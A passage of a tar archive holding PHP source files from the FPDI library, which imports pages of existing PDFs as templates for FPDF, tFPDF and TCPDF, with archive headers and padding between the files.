next template id. * * @return int */ protected function getNextTemplateId() { return $this->templateId++; } /** * Draws an imported page onto the page or another template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|array $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size * @see FpdiTrait::getTemplateSize() */ public function useTemplate($tpl, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { return $this->useImportedPage($tpl, $x, $y, $width, $height, $adjustPageSize); } /** * Draws an imported page onto the page. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $pageId The page id * @param float|int|array $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size. * @see Fpdi::getTemplateSize() */ public function useImportedPage($pageId, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { $size = $this->fpdiUseImportedPage($pageId, $x, $y, $width, $height, $adjustPageSize); if ($this->inxobj) { $importedPage = $this->importedPages[$pageId]; $this->xobjects[$this->xobjid]['importedPages'][$importedPage['id']] = $pageId; } return $size; } /** * Get the size of an imported page. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|null $width The width. * @param float|int|null $height The height. * @return array|bool An array with following keys: width, height, 0 (=width), 1 (=height), orientation (L or P) */ public function getTemplateSize($tpl, $width = null, $height = null) { return $this->getImportedPageSize($tpl, $width, $height); } /** * @inheritdoc */ protected function _getxobjectdict() { $out = parent::_getxobjectdict(); foreach ($this->importedPages as $key => $pageData) { $out .= '/' . $pageData['id'] . ' ' . $pageData['objectNumber'] . ' 0 R '; } return $out; } /** * @inheritdoc * @throws CrossReferenceException * @throws PdfParserException */ protected function _putxobjects() { foreach ($this->importedPages as $key => $pageData) { $this->currentObjectNumber = $this->_newobj(); $this->importedPages[$key]['objectNumber'] = $this->currentObjectNumber; $this->currentReaderId = $pageData['readerId']; $this->writePdfType($pageData['stream']); $this->_put('endobj'); } foreach (\array_keys($this->readers) as $readerId) { $parser = $this->getPdfReader($readerId)->getParser(); $this->currentReaderId = $readerId; while (($objectNumber = \array_pop($this->objectsToCopy[$readerId])) !== null) { try { $object = $parser->getIndirectObject($objectNumber); } catch (CrossReferenceException $e) { if ($e->getCode() === CrossReferenceException::OBJECT_NOT_FOUND) { $object = PdfIndirectObject::create($objectNumber, 0, new PdfNull()); } else { throw $e; } } $this->writePdfType($object); } } // let's prepare resources for imported pages in templates foreach ($this->xobjects as $xObjectId => $data) { if (!isset($data['importedPages'])) { continue; } foreach ($data['importedPages'] as $id => $pageKey) { $page = $this->importedPages[$pageKey]; $this->xobjects[$xObjectId]['xobjects'][$id] = ['n' => $page['objectNumber']]; } } parent::_putxobjects(); $this->currentObjectNumber = null; } /** * Append content to the buffer of TCPDF. * * @param string $s * @param bool $newLine */ protected function _put($s, $newLine = true) { if ($newLine) { $this->setBuffer($s . "\n"); } else { $this->setBuffer($s); } } /** * Begin a new object and return the object number. * * @param int|string $objid Object ID (leave empty to get a new ID). * @return int object number */ protected function _newobj($objid = '') { $this->_out($this->_getobj($objid)); return $this->n; } /** * Writes a PdfType object to the resulting buffer. * * @param PdfType $value * @throws PdfTypeException */ protected function writePdfType(PdfType $value) { if (!$this->encrypted) { $this->fpdiWritePdfType($value); return; } if ($value instanceof PdfString) { $string = PdfString::unescape($value->value); $string = $this->_encrypt_data($this->currentObjectNumber, $string); $value->value = \TCPDF_STATIC::_escape($string); } elseif ($value instanceof PdfHexString) { $filter = new AsciiHex(); $string = $filter->decode($value->value); $string = $this->_encrypt_data($this->currentObjectNumber, $string); $value->value = $filter->encode($string, true); } elseif ($value instanceof PdfStream) { $stream = $value->getStream(); $stream = $this->_encrypt_data($this->currentObjectNumber, $stream); $dictionary = $value->value; $dictionary->value['Length'] = PdfNumeric::create(\strlen($stream)); $value = PdfStream::create($dictionary, $stream); } elseif ($value instanceof PdfIndirectObject) { /** * @var $value PdfIndirectObject */ $this->currentObjectNumber = $this->objectMap[$this->currentReaderId][$value->objectNumber]; } $this->fpdiWritePdfType($value); } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/Tfpdf/FpdfTpl.php����������������������������������������������������������0000644�����������������00000001024�14760002214�0014473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\Tfpdf; use setasign\Fpdi\FpdfTplTrait; /** * Class FpdfTpl * * We need to change some access levels and implement the setPageFormat() method to bring back compatibility to tFPDF. * * @package setasign\Fpdi\Tfpdf */ class FpdfTpl extends \tFPDF { use FpdfTplTrait; }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/Tfpdf/Fpdi.php�������������������������������������������������������������0000644�����������������00000011341�14760002214�0014021 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\Tfpdf; use setasign\Fpdi\FpdiTrait; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfNull; /** * Class Fpdi * * This class let you import pages of existing PDF documents into a reusable structure for tFPDF. * * @package setasign\Fpdi */ class Fpdi extends FpdfTpl { use FpdiTrait; /** * FPDI version * * @string */ const VERSION = '2.3.1'; public function _enddoc() { parent::_enddoc(); $this->cleanUp(); } /** * Draws an imported page or a template onto the page or another template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|array $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size * @see Fpdi::getTemplateSize() */ public function useTemplate($tpl, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { if (isset($this->importedPages[$tpl])) { $size = $this->useImportedPage($tpl, $x, $y, $width, $height, $adjustPageSize); if ($this->currentTemplateId !== null) { $this->templates[$this->currentTemplateId]['resources']['templates']['importedPages'][$tpl] = $tpl; } return $size; } return parent::useTemplate($tpl, $x, $y, $width, $height, $adjustPageSize); } /** * Get the size of an imported page or template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|null $width The width. * @param float|int|null $height The height. * @return array|bool An array with following keys: width, height, 0 (=width), 1 (=height), orientation (L or P) */ public function getTemplateSize($tpl, $width = null, $height = null) { $size = parent::getTemplateSize($tpl, $width, $height); if ($size === false) { return $this->getImportedPageSize($tpl, $width, $height); } return $size; } /** * @inheritdoc * @throws CrossReferenceException * @throws PdfParserException */ public function _putimages() { $this->currentReaderId = null; parent::_putimages(); foreach ($this->importedPages as $key => $pageData) { $this->_newobj(); $this->importedPages[$key]['objectNumber'] = $this->n; $this->currentReaderId = $pageData['readerId']; $this->writePdfType($pageData['stream']); $this->_put('endobj'); } foreach (\array_keys($this->readers) as $readerId) { $parser = $this->getPdfReader($readerId)->getParser(); $this->currentReaderId = $readerId; while (($objectNumber = \array_pop($this->objectsToCopy[$readerId])) !== null) { try { $object = $parser->getIndirectObject($objectNumber); } catch (CrossReferenceException $e) { if ($e->getCode() === CrossReferenceException::OBJECT_NOT_FOUND) { $object = PdfIndirectObject::create($objectNumber, 0, new PdfNull()); } else { throw $e; } } $this->writePdfType($object); } } $this->currentReaderId = null; } /** * @inheritdoc */ protected function _putxobjectdict() { foreach ($this->importedPages as $key => $pageData) { $this->_put('/' . $pageData['id'] . ' ' . $pageData['objectNumber'] . ' 0 R'); } parent::_putxobjectdict(); } /** * @inheritdoc */ protected function _put($s, $newLine = true) { if ($newLine) { $this->buffer .= $s . "\n"; } else { $this->buffer .= $s; } } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/FpdiTrait.php��������������������������������������������������������������0000644�����������������00000044373�14760002214�0013775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\Filter\FilterException; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\StreamReader; use setasign\Fpdi\PdfParser\Type\PdfArray; use setasign\Fpdi\PdfParser\Type\PdfBoolean; use setasign\Fpdi\PdfParser\Type\PdfDictionary; use setasign\Fpdi\PdfParser\Type\PdfHexString; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfIndirectObjectReference; use setasign\Fpdi\PdfParser\Type\PdfName; use setasign\Fpdi\PdfParser\Type\PdfNull; use setasign\Fpdi\PdfParser\Type\PdfNumeric; use setasign\Fpdi\PdfParser\Type\PdfStream; use setasign\Fpdi\PdfParser\Type\PdfString; use setasign\Fpdi\PdfParser\Type\PdfToken; use setasign\Fpdi\PdfParser\Type\PdfType; use setasign\Fpdi\PdfParser\Type\PdfTypeException; use setasign\Fpdi\PdfReader\PageBoundaries; use setasign\Fpdi\PdfReader\PdfReader; use setasign\Fpdi\PdfReader\PdfReaderException; use /* This namespace/class is used by the commercial FPDI PDF-Parser add-on. */ /** @noinspection PhpUndefinedClassInspection */ /** @noinspection PhpUndefinedNamespaceInspection */ setasign\FpdiPdfParser\PdfParser\PdfParser as FpdiPdfParser; /** * The FpdiTrait * * This trait offers the core functionalities of FPDI. By passing them to a trait we can reuse it with e.g. TCPDF in a * very easy way. * * @package setasign\Fpdi */ trait FpdiTrait { /** * The pdf reader instances. * * @var PdfReader[] */ protected $readers = []; /** * Instances created internally. * * @var array */ protected $createdReaders = []; /** * The current reader id. * * @var string */ protected $currentReaderId; /** * Data of all imported pages. * * @var array */ protected $importedPages = []; /** * A map from object numbers of imported objects to new assigned object numbers by FPDF. * * @var array */ protected $objectMap = []; /** * An array with information about objects, which needs to be copied to the resulting document. * * @var array */ protected $objectsToCopy = []; /** * Release resources and file handles. * * This method is called internally when the document is created successfully. By default it only cleans up * stream reader instances which were created internally. * * @param bool $allReaders */ public function cleanUp($allReaders = false) { $readers = $allReaders ? array_keys($this->readers) : $this->createdReaders; foreach ($readers as $id) { $this->readers[$id]->getParser()->getStreamReader()->cleanUp(); unset($this->readers[$id]); } $this->createdReaders= []; } /** * Set the minimal PDF version. * * @param string $pdfVersion */ protected function setMinPdfVersion($pdfVersion) { if (\version_compare($pdfVersion, $this->PDFVersion, '>')) { $this->PDFVersion = $pdfVersion; } } /** @noinspection PhpUndefinedClassInspection */ /** * Get a new pdf parser instance. * * @param StreamReader $streamReader * @return PdfParser|FpdiPdfParser */ protected function getPdfParserInstance(StreamReader $streamReader) { /** @noinspection PhpUndefinedClassInspection */ if (\class_exists(FpdiPdfParser::class)) { /** @noinspection PhpUndefinedClassInspection */ return new FpdiPdfParser($streamReader); } return new PdfParser($streamReader); } /** * Get an unique reader id by the $file parameter. * * @param string|resource|PdfReader|StreamReader $file An open file descriptor, a path to a file, a PdfReader * instance or a StreamReader instance. * @return string */ protected function getPdfReaderId($file) { if (\is_resource($file)) { $id = (string) $file; } elseif (\is_string($file)) { $id = \realpath($file); if ($id === false) { $id = $file; } } elseif (\is_object($file)) { $id = \spl_object_hash($file); } else { throw new \InvalidArgumentException( \sprintf('Invalid type in $file parameter (%s)', \gettype($file)) ); } /** @noinspection OffsetOperationsInspection */ if (isset($this->readers[$id])) { return $id; } if (\is_resource($file)) { $streamReader = new StreamReader($file); } elseif (\is_string($file)) { $streamReader = StreamReader::createByFile($file); $this->createdReaders[] = $id; } else { $streamReader = $file; } $reader = new PdfReader($this->getPdfParserInstance($streamReader)); /** @noinspection OffsetOperationsInspection */ $this->readers[$id] = $reader; return $id; } /** * Get a pdf reader instance by its id. * * @param string $id * @return PdfReader */ protected function getPdfReader($id) { if (isset($this->readers[$id])) { return $this->readers[$id]; } throw new \InvalidArgumentException( \sprintf('No pdf reader with the given id (%s) exists.', $id) ); } /** * Set the source PDF file. * * @param string|resource|StreamReader $file Path to the file or a stream resource or a StreamReader instance. * @return int The page count of the PDF document. * @throws PdfParserException */ public function setSourceFile($file) { $this->currentReaderId = $this->getPdfReaderId($file); $this->objectsToCopy[$this->currentReaderId] = []; $reader = $this->getPdfReader($this->currentReaderId); $this->setMinPdfVersion($reader->getPdfVersion()); return $reader->getPageCount(); } /** * Imports a page. * * @param int $pageNumber The page number. * @param string $box The page boundary to import. Default set to PageBoundaries::CROP_BOX. * @param bool $groupXObject Define the form XObject as a group XObject to support transparency (if used). * @return string A unique string identifying the imported page. * @throws CrossReferenceException * @throws FilterException * @throws PdfParserException * @throws PdfTypeException * @throws PdfReaderException * @see PageBoundaries */ public function importPage($pageNumber, $box = PageBoundaries::CROP_BOX, $groupXObject = true) { if (null === $this->currentReaderId) { throw new \BadMethodCallException('No reader initiated. Call setSourceFile() first.'); } $pageId = $this->currentReaderId; $pageNumber = (int)$pageNumber; $pageId .= '|' . $pageNumber . '|' . ($groupXObject ? '1' : '0'); // for backwards compatibility with FPDI 1 $box = \ltrim($box, '/'); if (!PageBoundaries::isValidName($box)) { throw new \InvalidArgumentException( \sprintf('Box name is invalid: "%s"', $box) ); } $pageId .= '|' . $box; if (isset($this->importedPages[$pageId])) { return $pageId; } $reader = $this->getPdfReader($this->currentReaderId); $page = $reader->getPage($pageNumber); $bbox = $page->getBoundary($box); if ($bbox === false) { throw new PdfReaderException( \sprintf("Page doesn't have a boundary box (%s).", $box), PdfReaderException::MISSING_DATA ); } $dict = new PdfDictionary(); $dict->value['Type'] = PdfName::create('XObject'); $dict->value['Subtype'] = PdfName::create('Form'); $dict->value['FormType'] = PdfNumeric::create(1); $dict->value['BBox'] = $bbox->toPdfArray(); if ($groupXObject) { $this->setMinPdfVersion('1.4'); $dict->value['Group'] = PdfDictionary::create([ 'Type' => PdfName::create('Group'), 'S' => PdfName::create('Transparency') ]); } $resources = $page->getAttribute('Resources'); if ($resources !== null) { $dict->value['Resources'] = $resources; } list($width, $height) = $page->getWidthAndHeight($box); $a = 1; $b = 0; $c = 0; $d = 1; $e = -$bbox->getLlx(); $f = -$bbox->getLly(); $rotation = $page->getRotation(); if ($rotation !== 0) { $rotation *= -1; $angle = $rotation * M_PI/180; $a = \cos($angle); $b = \sin($angle); $c = -$b; $d = $a; switch ($rotation) { case -90: $e = -$bbox->getLly(); $f = $bbox->getUrx(); break; case -180: $e = $bbox->getUrx(); $f = $bbox->getUry(); break; case -270: $e = $bbox->getUry(); $f = -$bbox->getLlx(); break; } } // we need to rotate/translate if ($a != 1 || $b != 0 || $c != 0 || $d != 1 || $e != 0 || $f != 0) { $dict->value['Matrix'] = PdfArray::create([ PdfNumeric::create($a), PdfNumeric::create($b), PdfNumeric::create($c), PdfNumeric::create($d), PdfNumeric::create($e), PdfNumeric::create($f) ]); } // try to use the existing content stream $pageDict = $page->getPageDictionary(); $contentsObject = PdfType::resolve(PdfDictionary::get($pageDict, 'Contents'), $reader->getParser(), true); $contents = PdfType::resolve($contentsObject, $reader->getParser()); // just copy the stream reference if it is only a single stream if (($contentsIsStream = ($contents instanceof PdfStream)) || ($contents instanceof PdfArray && \count($contents->value) === 1) ) { if ($contentsIsStream) { /** * @var PdfIndirectObject $contentsObject */ $stream = $contents; } else { $stream = PdfType::resolve($contents->value[0], $reader->getParser()); } $filter = PdfDictionary::get($stream->value, 'Filter'); if (!$filter instanceof PdfNull) { $dict->value['Filter'] = $filter; } $length = PdfType::resolve(PdfDictionary::get($stream->value, 'Length'), $reader->getParser()); $dict->value['Length'] = $length; $stream->value = $dict; // otherwise extract it from the array and re-compress the whole stream } else { $streamContent = $this->compress ? \gzcompress($page->getContentStream()) : $page->getContentStream(); $dict->value['Length'] = PdfNumeric::create(\strlen($streamContent)); if ($this->compress) { $dict->value['Filter'] = PdfName::create('FlateDecode'); } $stream = PdfStream::create($dict, $streamContent); } $this->importedPages[$pageId] = [ 'objectNumber' => null, 'readerId' => $this->currentReaderId, 'id' => 'TPL' . $this->getNextTemplateId(), 'width' => $width / $this->k, 'height' => $height / $this->k, 'stream' => $stream ]; return $pageId; } /** * Draws an imported page onto the page. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $pageId The page id * @param float|int|array $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size. * @see Fpdi::getTemplateSize() */ public function useImportedPage($pageId, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { if (\is_array($x)) { /** @noinspection OffsetOperationsInspection */ unset($x['pageId']); \extract($x, EXTR_IF_EXISTS); /** @noinspection NotOptimalIfConditionsInspection */ if (\is_array($x)) { $x = 0; } } if (!isset($this->importedPages[$pageId])) { throw new \InvalidArgumentException('Imported page does not exist!'); } $importedPage = $this->importedPages[$pageId]; $originalSize = $this->getTemplateSize($pageId); $newSize = $this->getTemplateSize($pageId, $width, $height); if ($adjustPageSize) { $this->setPageFormat($newSize, $newSize['orientation']); } $this->_out( // reset standard values, translate and scale \sprintf( 'q 0 J 1 w 0 j 0 G 0 g %.4F 0 0 %.4F %.4F %.4F cm /%s Do Q', ($newSize['width'] / $originalSize['width']), ($newSize['height'] / $originalSize['height']), $x * $this->k, ($this->h - $y - $newSize['height']) * $this->k, $importedPage['id'] ) ); return $newSize; } /** * Get the size of an imported page. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|null $width The width. * @param float|int|null $height The height. * @return array|bool An array with following keys: width, height, 0 (=width), 1 (=height), orientation (L or P) */ public function getImportedPageSize($tpl, $width = null, $height = null) { if (isset($this->importedPages[$tpl])) { $importedPage = $this->importedPages[$tpl]; if ($width === null && $height === null) { $width = $importedPage['width']; $height = $importedPage['height']; } elseif ($width === null) { $width = $height * $importedPage['width'] / $importedPage['height']; } if ($height === null) { $height = $width * $importedPage['height'] / $importedPage['width']; } if ($height <= 0. || $width <= 0.) { throw new \InvalidArgumentException('Width or height parameter needs to be larger than zero.'); } return [ 'width' => $width, 'height' => $height, 0 => $width, 1 => $height, 'orientation' => $width > $height ? 'L' : 'P' ]; } return false; } /** * Writes a PdfType object to the resulting buffer. * * @param PdfType $value * @throws PdfTypeException */ protected function writePdfType(PdfType $value) { if ($value instanceof PdfNumeric) { if (\is_int($value->value)) { $this->_put($value->value . ' ', false); } else { $this->_put(\rtrim(\rtrim(\sprintf('%.5F', $value->value), '0'), '.') . ' ', false); } } elseif ($value instanceof PdfName) { $this->_put('/' . $value->value . ' ', false); } elseif ($value instanceof PdfString) { $this->_put('(' . $value->value . ')', false); } elseif ($value instanceof PdfHexString) { $this->_put('<' . $value->value . '>'); } elseif ($value instanceof PdfBoolean) { $this->_put($value->value ? 'true ' : 'false ', false); } elseif ($value instanceof PdfArray) { $this->_put('[', false); foreach ($value->value as $entry) { $this->writePdfType($entry); } $this->_put(']'); } elseif ($value instanceof PdfDictionary) { $this->_put('<<', false); foreach ($value->value as $name => $entry) { $this->_put('/' . $name . ' ', false); $this->writePdfType($entry); } $this->_put('>>'); } elseif ($value instanceof PdfToken) { $this->_put($value->value); } elseif ($value instanceof PdfNull) { $this->_put('null '); } elseif ($value instanceof PdfStream) { /** * @var $value PdfStream */ $this->writePdfType($value->value); $this->_put('stream'); $this->_put($value->getStream()); $this->_put('endstream'); } elseif ($value instanceof PdfIndirectObjectReference) { if (!isset($this->objectMap[$this->currentReaderId])) { $this->objectMap[$this->currentReaderId] = []; } if (!isset($this->objectMap[$this->currentReaderId][$value->value])) { $this->objectMap[$this->currentReaderId][$value->value] = ++$this->n; $this->objectsToCopy[$this->currentReaderId][] = $value->value; } $this->_put($this->objectMap[$this->currentReaderId][$value->value] . ' 0 R ', false); } elseif ($value instanceof PdfIndirectObject) { /** * @var $value PdfIndirectObject */ $n = $this->objectMap[$this->currentReaderId][$value->objectNumber]; $this->_newobj($n); $this->writePdfType($value->value); $this->_put('endobj'); } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/autoload.php���������������������������������������������������������������0000644�����������������00000001161�14760002214�0013703 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ spl_autoload_register(function ($class) { if (strpos($class, 'setasign\Fpdi\\') === 0) { $filename = str_replace('\\', DIRECTORY_SEPARATOR, substr($class, 14)) . '.php'; $fullpath = __DIR__ . DIRECTORY_SEPARATOR . $filename; if (file_exists($fullpath)) { /** @noinspection PhpIncludeInspection */ require_once $fullpath; } } }); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/TcpdfFpdi.php��������������������������������������������������������������0000644�����������������00000001110�14760002214�0013730 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; /** * Class TcpdfFpdi * * This class let you import pages of existing PDF documents into a reusable structure for TCPDF. * * @package setasign\Fpdi * @deprecated Class was moved to \setasign\Fpdi\Tcpdf\Fpdi */ class TcpdfFpdi extends \setasign\Fpdi\Tcpdf\Fpdi { // this class is moved to \setasign\Fpdi\Tcpdf\Fpdi } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/FpdiException.php����������������������������������������������������������0000644�����������������00000000577�14760002214�0014646 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; /** * Base exception class for the FPDI package. * * @package setasign\Fpdi */ class FpdiException extends \Exception { } ���������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/FpdfTpl.php����������������������������������������������������������������0000644�����������������00000000641�14760002214�0013434 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; /** * Class FpdfTpl * * This class adds a templating feature to FPDF. * * @package setasign\Fpdi */ class FpdfTpl extends \FPDF { use FpdfTplTrait; } �����������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/Fpdi.php�������������������������������������������������������������������0000644�����������������00000011304�14760002214�0012755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; use setasign\Fpdi\PdfParser\CrossReference\CrossReferenceException; use setasign\Fpdi\PdfParser\PdfParserException; use setasign\Fpdi\PdfParser\Type\PdfIndirectObject; use setasign\Fpdi\PdfParser\Type\PdfNull; /** * Class Fpdi * * This class let you import pages of existing PDF documents into a reusable structure for FPDF. * * @package setasign\Fpdi */ class Fpdi extends FpdfTpl { use FpdiTrait; /** * FPDI version * * @string */ const VERSION = '2.3.1'; protected function _enddoc() { parent::_enddoc(); $this->cleanUp(); } /** * Draws an imported page or a template onto the page or another template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|array $x The abscissa of upper-left corner. Alternatively you could use an assoc array * with the keys "x", "y", "width", "height", "adjustPageSize". * @param float|int $y The ordinate of upper-left corner. * @param float|int|null $width The width. * @param float|int|null $height The height. * @param bool $adjustPageSize * @return array The size * @see Fpdi::getTemplateSize() */ public function useTemplate($tpl, $x = 0, $y = 0, $width = null, $height = null, $adjustPageSize = false) { if (isset($this->importedPages[$tpl])) { $size = $this->useImportedPage($tpl, $x, $y, $width, $height, $adjustPageSize); if ($this->currentTemplateId !== null) { $this->templates[$this->currentTemplateId]['resources']['templates']['importedPages'][$tpl] = $tpl; } return $size; } return parent::useTemplate($tpl, $x, $y, $width, $height, $adjustPageSize); } /** * Get the size of an imported page or template. * * Give only one of the size parameters (width, height) to calculate the other one automatically in view to the * aspect ratio. * * @param mixed $tpl The template id * @param float|int|null $width The width. * @param float|int|null $height The height. * @return array|bool An array with following keys: width, height, 0 (=width), 1 (=height), orientation (L or P) */ public function getTemplateSize($tpl, $width = null, $height = null) { $size = parent::getTemplateSize($tpl, $width, $height); if ($size === false) { return $this->getImportedPageSize($tpl, $width, $height); } return $size; } /** * @inheritdoc * @throws CrossReferenceException * @throws PdfParserException */ protected function _putimages() { $this->currentReaderId = null; parent::_putimages(); foreach ($this->importedPages as $key => $pageData) { $this->_newobj(); $this->importedPages[$key]['objectNumber'] = $this->n; $this->currentReaderId = $pageData['readerId']; $this->writePdfType($pageData['stream']); $this->_put('endobj'); } foreach (\array_keys($this->readers) as $readerId) { $parser = $this->getPdfReader($readerId)->getParser(); $this->currentReaderId = $readerId; while (($objectNumber = \array_pop($this->objectsToCopy[$readerId])) !== null) { try { $object = $parser->getIndirectObject($objectNumber); } catch (CrossReferenceException $e) { if ($e->getCode() === CrossReferenceException::OBJECT_NOT_FOUND) { $object = PdfIndirectObject::create($objectNumber, 0, new PdfNull()); } else { throw $e; } } $this->writePdfType($object); } } $this->currentReaderId = null; } /** * @inheritdoc */ protected function _putxobjectdict() { foreach ($this->importedPages as $key => $pageData) { $this->_put('/' . $pageData['id'] . ' ' . $pageData['objectNumber'] . ' 0 R'); } parent::_putxobjectdict(); } /** * @inheritdoc */ protected function _put($s, $newLine = true) { if ($newLine) { $this->buffer .= $s . "\n"; } else { $this->buffer .= $s; } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/setasign/fpdi/src/FpdfTplTrait.php�����������������������������������������������������������0000644�����������������00000033607�14760002214�0014450 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; /** * Trait FpdfTplTrait * * This class adds a templating feature to tFPDF. * * @package setasign\Fpdi */ trait FpdfTplTrait { /** * Data of all created templates. * * @var array */ protected $templates = []; /** * The template id for the currently created template. * * @var null|int */ protected $currentTemplateId; /** * A counter for template ids. * * @var int */ protected $templateId = 0; /** * Set the page format of the current page. * * @param array $size An array with two values defining the size. * @param string $orientation "L" for landscape, "P" for portrait. * @throws \BadMethodCallException */ public function setPageFormat($size, $orientation) { if ($this->currentTemplateId !== null) { throw new \BadMethodCallException('The page format cannot be changed when writing to a template.'); } if (!\in_array($orientation, ['P', 'L'], true)) { throw new \InvalidArgumentException(\sprintf( 'Invalid page orientation "%s"! Only "P" and "L" are allowed!', $orientation )); } $size = $this->_getpagesize($size); if ($orientation != $this->CurOrientation || $size[0] != $this->CurPageSize[0] || $size[1] != $this->CurPageSize[1] ) { // New size or orientation if ($orientation === 'P') { $this->w = $size[0]; $this->h = $size[1]; } else { $this->w = $size[1]; $this->h = $size[0]; } $this->wPt = $this->w * $this->k; $this->hPt = $this->h * $this->k; $this->PageBreakTrigger = $this->h - $this->bMargin; $this->CurOrientation 